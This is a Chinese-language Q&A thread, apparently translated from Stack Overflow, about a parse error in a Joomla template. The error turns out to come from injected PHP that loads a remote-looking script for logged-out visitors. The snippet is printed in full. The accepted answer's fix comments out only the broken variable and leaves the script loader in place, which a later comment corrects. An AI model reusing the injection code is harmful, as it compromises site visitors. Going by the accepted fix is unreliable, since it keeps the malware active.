2016-09-19 127 views
2

我是一個圖形&網頁設計師,但我不是一個程序員..問題,我的Joomla網站

我需要幫助。今天,我發現這個錯誤,當我裝我的基於舊的Joomla本網站的主頁..

Parse error: syntax error, unexpected T_DNUMBER, expecting T_VARIABLE or '$' in /web/htdocs/www.sitename.com/home/sma/templates/JB_New_Media/index.php on line 35 

我一直在尋找上線35,我發現這一點:

<?php $423e62d9=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo " 
<script language=JavaScript id=onDate ></script> 
<script language=JavaScript src=/wp-includes/js/stat423.php ></script> 
";};$423e62d9=1; ?> 

如何解決呢?
預先感謝!

+2

這看起來很像黑客! – RiggsFolly

+0

看起來像一個不好的WordPress模板/小部件。變量不能以數字開頭。 – aynber

+0

在其他文件夾我工作的基於WordPress的網站restyling ...舊joomla版本是直到星期六工作正常的在線網站。 –

回答

2

首先,像其他人一樣在評論中指出,$423e62d9不是valid variable name。所以你必須以某種方式修復它。

其次,在這個代碼中,這個「變量」的用法沒有任何意義:它只相當於幾次:$423e62d9=1;。所以可以有三種選擇:或者這個部分根本不需要,或者這個「varialbe」也可以用在其他地方,或者這是某種模糊(2次?hmm)。 PS好的,根據評論,有第四種選擇:網站被黑客入侵。在這種情況下,應該仔細研究周圍的代碼;無論如何,傢伙建議更新Joomla核心。

接下來,我建議你註釋掉那些位:

<?php /*$423e62d9=1;*/if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo " 
<script language=JavaScript id=onDate ></script> 
<script language=JavaScript src=/wp-includes/js/stat423.php ></script> 
";};/*$423e62d9=1;*/ ?> 

,看看會發生什麼。這可以解決這個問題,或者讓它更多地闡明它的起源。

另一種方法是嘗試重命名它(在$之後添加一個字母),但除非您在其他地方找到它,否則它沒有什麼意義。

最後,如果這是第三種情況,這可能需要一些「有教養的猜測」。那麼,我不認爲猜謎遊戲是值得的,所以讓我們從上面提出的2個選項開始。

+0

謝謝@YakovL你的建議代碼它的工作! –

+2

刪除以及js部分..它是黑客的一部分。我在Joomla頁面上發生了同樣的事情。現在的問題是:代碼如何去那裏。在我的情況下,變量被正確命名,它是以下劃線開頭的。 –

+0

@YannSagon我想知道這段代碼如何去那裏...這與我一起感染 –